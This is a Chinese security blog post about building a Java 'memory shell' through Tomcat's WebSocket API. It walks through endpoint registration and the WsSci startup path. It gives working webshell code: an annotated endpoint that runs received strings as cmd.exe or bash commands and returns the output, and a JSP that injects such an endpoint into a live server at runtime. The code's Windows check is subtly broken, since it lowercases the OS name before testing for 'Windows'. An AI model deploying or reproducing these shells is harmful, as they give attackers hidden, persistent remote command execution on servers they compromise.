Java内存马-WebSocket内存马分析与实现

Java安全

WebSocket介绍

WebSocket是一种在Web应用程序中实现全双工通信的协议。它提供了一种持久的连接,允许服务器和客户端之间进行双向通信,而无需通过传统的HTTP请求-响应模型来发起通信

传统的Web应用程序通常使用HTTP协议进行通信,它是一种无状态的协议,每次请求都需要在客户端和服务器之间进行完整的连接和关闭,这种请求-响应模型的限制使得在实时通信和推送数据方面存在困难

WebSocket的出现解决了这个问题,它通过在客户端和服务器之间建立一条持久的连接,可以实现实时通信和双向数据传输,与传统的HTTP请求不同,WebSocket连接在建立后会保持打开状态,允许服务器主动向客户端发送数据,而不需要等待客户端的请求

WebSocket协议具有以下特点:

  1. 双向通信:WebSocket允许服务器和客户端之间进行双向通信,可以在任何一方发送消息,而不仅仅是客户端向服务器发送请求

  2. 实时性:由于WebSocket连接是持久的,服务器可以实时向客户端推送数据,而不需要客户端发起请求。这使得实现实时聊天、实时数据更新和即时通知等功能变得更加容易

  3. 低延迟:WebSocket通过使用更有效的二进制消息格式,以及减少了HTTP的开销,可以实现较低的延迟和更高的性能

  4. 跨域支持:WebSocket支持跨域通信,允许在不同域之间进行实时通信

  5. 简化的API:WebSocket提供了一组简单易用的API,使得开发人员可以方便地创建和管理WebSocket连接,发送和接收消息

WebSocket内存马

Tomcat的WebSocket(WebSocket)是一种在单个TCP连接上进行全双工通信的协议。它允许客户端和服务器在单个TCP连接上交换数据。WebSocket是一种在单个TCP连接上进行全双工通信的协议,这使得它比HTTP更轻量级,并且可以在不关闭连接的情况下发送和接收数据

在Tomcat中,想要实现WebSocket服务端一种办法是继承 Endpoint 抽象类,另一种办法就是直接使用注解 @ServerEndpoint,客户端使用注解 @ClientEndpoint(本文不会使用到客户端)

@ServerEndpoint注解实现

@ServerEndpoint 注解作为服务端端点,指定一个URL路径让客户端进行连接,Endpoint 和Tomcat一样有生命周期的,其方法如下:

  • onOpen 开启一个新会话时调用,客户端和服务端握手连接时调用,对应 @OnOpen 注解

  • onMessage 接收到客户端发送的消息时调用,对应 @OnMessage 注解

  • onError 出现异常时调用,对应 @OnError 注解

  • onClose 会话关闭时调用,对应 @OnClose 注解

@ServerEndpoint 注解可以使用一些属性来配置WebSocket端点的行为和特性

  • value 指定WebSocket端点的访问路径,例如:@ServerEndpoint("/ws")
  • decoders 指定用于解码接收到的消息的解码器类,可以指定多个解码器,使用数组形式,例如:@ServerEndpoint(value = "/ws", decoders = {MyDecoder.class})
  • encoders 指定用于编码发送给客户端的消息的编码器类,可以指定多个编码器,使用数组形式,例如:@ServerEndpoint(value = "/ws", encoders = {MyEncoder.class})
  • configurator 指定一个自定义的 ServerEndpointConfig.Configurator 类,用于配置WebSocket端点的配置,例如:@ServerEndpoint(value = "/ws", configurator = MyConfigurator.class)
  • subprotocols 属性用于指定支持的子协议(subprotocols),子协议是指在WebSocket连接建立时,客户端和服务器之间进行的协议交换,以确定在连接期间使用的协议
import javax.websocket.*;
import javax.websocket.server.ServerEndpoint;
import java.io.InputStream;

@ServerEndpoint("/ws")
public class WebSocketDemo {
    @OnMessage
    public void onMessage(String str,Session session) {
        try {
            Process process;
            boolean bool = System.getProperty("os.name").toLowerCase().startsWith("Windows");
            if (bool) {
                process = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",str});
            } else {
                process = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",str});
            }
            InputStream inputStream = process.getInputStream();
            StringBuilder stringBuilder = new StringBuilder();
            int i;
            while ((i = inputStream.read()) != -1)
                stringBuilder.append((char)i);
            inputStream.close();
            process.waitFor();
            session.getBasicRemote().sendText(stringBuilder.toString());
        } catch (Exception exception) {
            exception.printStackTrace();
        }
    }
    @OnOpen
    public void onOpen(Session session) {}
    @OnError
    public void onError(Throwable error){
        error.printStackTrace();
    }
}

继承抽象类实现

使用注解来实现WebSocket是比较简单的,因为注解可以自动化完成配置。如果我们想要使用继承抽象类来实现的话,就没有那么简单了

在Tomcat中 org.apache.tomcat.websocket.server.WsSci 类用来加载WebSocket服务,Tomcat WebSocket使用了SCI机制,什么是SCI机制呢?

SCI(Server Configuration Interface)是一种服务器配置接口,用于在服务器启动时动态配置WebSocket应用程序。SCI机制允许服务器在运行时动态配置WebSocket应用程序,例如添加和删除端点(endpoint)、设置消息过滤器等。这有助于提高WebSocket应用程序的灵活性和可扩展性

Tomcat WebSocket使用了SCI机制来实现服务端动态配置,当服务器启动时,它将加载 WEB-INF/web.xml 文件中的配置,这些配置包括端点(endpoint)、消息过滤器等。然后,将这些配置应用到 WebSocketContainer 对象中,从而实现动态配置

调用栈分析

当Tomcat启动时,会自动调用 WsSci 类的 onStartUp 方法,该类实现了 ServletContainerInitializer 接口,重写了 onStartUp 方法,那么我们就从这个方法打个断点分析一下

onStartup:49, WsSci (org.apache.tomcat.websocket.server)
startInternal:5219, StandardContext (org.apache.catalina.core)
start:183, LifecycleBase (org.apache.catalina.util)
addChildInternal:726, ContainerBase (org.apache.catalina.core)
addChild:698, ContainerBase (org.apache.catalina.core)
addChild:696, StandardHost (org.apache.catalina.core)
manageApp:1783, HostConfig (org.apache.catalina.startup)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:293, BaseModelMBean (org.apache.tomcat.util.modeler)
invoke:819, DefaultMBeanServerInterceptor (com.sun.jmx.interceptor)
invoke:801, JmxMBeanServer (com.sun.jmx.mbeanserver)
createStandardContext:460, MBeanFactory (org.apache.catalina.mbeans)
createStandardContext:408, MBeanFactory (org.apache.catalina.mbeans)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:293, BaseModelMBean (org.apache.tomcat.util.modeler)
invoke:819, DefaultMBeanServerInterceptor (com.sun.jmx.interceptor)
invoke:801, JmxMBeanServer (com.sun.jmx.mbeanserver)
invoke:468, MBeanServerAccessController (com.sun.jmx.remote.security)
doOperation:1468, RMIConnectionImpl (javax.management.remote.rmi)
access$300:76, RMIConnectionImpl (javax.management.remote.rmi)
run:1309, RMIConnectionImpl$PrivilegedOperation (javax.management.remote.rmi)
doPrivileged:-1, AccessController (java.security)
doPrivilegedOperation:1408, RMIConnectionImpl (javax.management.remote.rmi)
invoke:829, RMIConnectionImpl (javax.management.remote.rmi)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
dispatch:357, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 614595529 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$28)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:750, Thread (java.lang)

image-20230925100121781

onStartUp 方法中,调用了 init 方法,跟进该方法看一下

image-20230925100240748

可以看到,实例化了 WsServerContainer 类,并将属性名 javax.websocket.server.ServerContainerWsServerContainer 对象添加到ServletContext上下文中,并返回了 WsServerContainer 对象

image-20230925103449812

接着在 onStartup 方法中对每个WebSocket端点应用程序类进行判断,如果该类使用了 ServerEndpoint 注解则添加到 scannedPojoEndpoints 集合中,其中就有我们写的恶意WebSocket端点

image-20230925105533115

创建了两个集合,用于WebSocket端点配置和扫描结果的过滤操作,由于 serverApplicationConfigs 集合是空的,则将 scannedPojoEndpoints 集合所有元素添加到 filteredPojoEndpoints 集合中,此时,我们写的恶意WebSocket端点应用程序类已经被添加到 filteredPojoEndpoints 集合中了

image-20230925110151551

image-20230925110521615

在这里遍历 filteredPojoEndpoints 集合并调用 sc.addEndpoint 方法将恶意WebSocket端点应用程序类添加WebSocket端点,跟进这个方法看一下

image-20230925110646583

在这个方法中,定义了一个 ServerEndpointConfig 类对象,从注解中读取value属性值,也就是我们之前写的WebSocket访问路径

image-20230925110847021

不是重点内容,我们就不看了,直接看重点,先是对 sec 对象进行赋值,调用了 ServerEndpointConfig.Builder.create(pojo, path) 创建WebSocket端点配置对象,最后调用了 addEndpoint 方法

根据上面的分析,我们大概知道如何把我们的注册恶意WebSocket端点了,有如下步骤:

  1. 指定一个WebSocket访问路径
  2. 获取ServletContext对象
  3. 获取ServerEndpointConfig对象
  4. 获取WsServerContainer对象,由于WsServerContainer对象实现了ServerContainer接口的 addEndpoint 方法,这里我们直接获取ServerContainer对象
  5. 最后调用ServerContainer对象的 addEndpoint 方法,将ServerEndpointConfig对象添加到WebSocket端点

动态实现WebSocket服务端

<%@ page import="javax.websocket.Endpoint" %>
<%@ page import="javax.websocket.MessageHandler" %>
<%@ page import="javax.websocket.Session" %>
<%@ page import="javax.websocket.EndpointConfig" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="javax.websocket.server.ServerEndpointConfig" %>
<%@ page import="javax.websocket.server.ServerContainer" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%!
    public static class WebSocketDemo extends Endpoint implements MessageHandler.Whole<String> {
        private Session session;
        @Override
        public void onOpen(Session session, EndpointConfig config) {
            this.session = session;
            session.addMessageHandler(this);
        }

        @Override
        public void onMessage(String str) {
            try {
                Process process;
                boolean bool = System.getProperty("os.name").toLowerCase().startsWith("Windows");
                if (bool) {
                    process = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",str});
                } else {
                    process = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",str});
                }
                InputStream inputStream = process.getInputStream();
                StringBuilder stringBuilder = new StringBuilder();
                int i;
                while ((i = inputStream.read()) != -1)
                    stringBuilder.append((char)i);
                inputStream.close();
                process.waitFor();
                session.getBasicRemote().sendText(stringBuilder.toString());
            } catch (Exception exception) {
                exception.printStackTrace();
            }
        }
    }
%>
<%
    String path = request.getParameter("path");
    ServletContext servletContext = request.getServletContext();
    ServerEndpointConfig serverEndpointConfig = ServerEndpointConfig.Builder.create(WebSocketDemo.class, path).build();
    ServerContainer serverContainer = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
    serverContainer.addEndpoint(serverEndpointConfig);
    out.println("Inject Success! Connect URL Path: " + servletContext.getContextPath() + path);
%>

image-20230925130218457

指定WebSocket访问路径后添加到端点

image-20230925130318290

image-20230925130442587

使用WebSocket客户端连接工具连接即可执行命令

Author: wileysec

Permalink: https://wileysec.github.io/fee784a451d7.html

Comments